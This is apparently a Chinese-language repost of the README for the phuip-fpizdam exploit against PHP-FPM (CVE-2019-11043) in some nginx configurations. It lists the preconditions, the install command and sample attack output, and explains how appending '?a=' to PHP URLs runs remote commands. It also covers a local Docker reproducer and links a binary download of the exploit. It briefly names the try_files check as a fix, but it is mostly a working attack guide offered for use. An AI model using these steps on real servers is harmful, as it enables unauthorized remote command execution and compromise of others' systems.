介是php-fpm (CVE-2019-11043)的一个漏洞利用,在某种配置下,nginx+php-fpm的框架里,这个漏洞可以由外界触发。这就意味着,一个网页用户可能对这种配置的服务器实施远程命令执行攻击。(有前提条件,看下文)
###这是啥漏洞
如果一个网站服务器运行着nginx+php-fpm,然后还有类似下面的配置:location ~ [^/]\.php(/|$) {...fastcgi_split_path_info ^(.+?\.php)(/.*)$;fastcgi_param PATH_INFO $fastcgi_path_info;fastcgi_pass php:9000;...}
而且,也没有任何脚本是否存在的检测(例如 `try_files`),那么,用这个工具你可能能黑掉有问题的机器。
###完整的前提条件列表1. Nginx + php-fpm, `location ~ [^/]\.php(/|$)`必须导向到php-fpm(可能正则表达式会 更严格)
2.`fastcgi_split_path_info`指令必须存在并且包含一个以 `^` 开头且以 `$`结尾的正则表达式,这我们就可以用一个新行的字符来突破它。
3.必须通过`fastcgi_param PATH_INFO $fastcgi_path_info;`语句指定一个`PATH_INFO`变量。刚开始我们以为这一直都存在于`fastcgi_params`文件里,但这是错误的。
4.不能有任何文件存在性检测,例如`try_files $uri =404` 或者 `if (-f $uri)`。如果Nginx在FastCGI转发前把请求丢给了不存在的脚本,我们的请求就永远到不了php-fpm,加上这个也是修补这个漏洞的最简单方案。
5.这个利用只对PHP 7+有效,但是这个漏洞也存在于更早的版本。(看下面的关于php5)
###这难道不是几年前就已知的漏洞了吗?
很久之前,php-fpm是不约束脚本的扩展名的,就是说形如`/avatar.png/some-fake-shit.php`的文件,php-fpm会把`avatar.png`当做php文件来执行,这个问题在2010年左右就被修复了。
现在这个漏洞不依赖文件上传,在当前的大多数版本都能利用(直到补丁被打上)。更重要的是,这个利用更酷剌。
###咋运行
安装go get github.com/neex/phuip-fpizdam
如果出现一些奇奇怪怪的编译错误,先确保你的go版本要大于等于1.13。以下面的命令执行:phuip-fpizdam [url]
(假设你已经把 `$GOPATH/bin`变量丢到`$PATH`里去了,否则,要把路径打全),类似下面的输出就是正常了:```2019/10/01 02:46:15 Base status code is 2002019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect2019/10/01 02:46:16 Trying to set 'session.auto_start=0'...2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect
这之后呢,你就可以在任意的php url后面,添加`?a=`来执行远程代码了。(你可能需要多试几次才行)
###游乐场环境
如果你想重现这个问题或者想在本地玩玩这个漏洞利用,介样来:1.克隆这个项目然后到reproducer目录
2.创建docker镜像:`docker build -t reproduce-cve-2019-11043 .`,这需要等比较长的时间,因为它默默地把php的项目克隆回来并且还要编译。然鹅,如果你想debug这个利用代码,上述步骤会让你更省力。这个被修订过的编译是刚好没被修补的版本。
3.启动一个docker 实例`docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043`.
4.现在你可以访问http://127.0.0.1:8080/script.php了,这目前是一个空文件。
5.运行利用程序:
`phuip-fpizdam http://127.0.0.1:8080/script.php`
6.如果一切顺利,你就可以这样构造url来执行远程命令了。
http://127.0.0.1:8080/script.php?a=id
多试几次,因为只有部分php-fpm的worker进程受影响而已。
###关于PHP5
这个缓冲区下溢出漏洞也同样存在于PHP5,。然而呢,我们这个漏洞利用需要用到一个保存FastCGI变量的优化, [_fcgi_data_seg]。这个优化只存在于php7,所以这次特别的漏洞利用只能在php7上运行。但可能有别的利用技术可以在php5上运行呢。。。
###申明
最开始的异常现象是由[d90pwn]在“真实世界CTF”大赛中发现的。根本问题是(Emil Lerner)发现的,还有设置php.ini参数的方式。最终的php.ini参数集是由[beched]发现的。
最后,下载:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47553.zip
参考:github.com/neex/phuip-fpizdam
HackerHub发布 | 转载请注明出处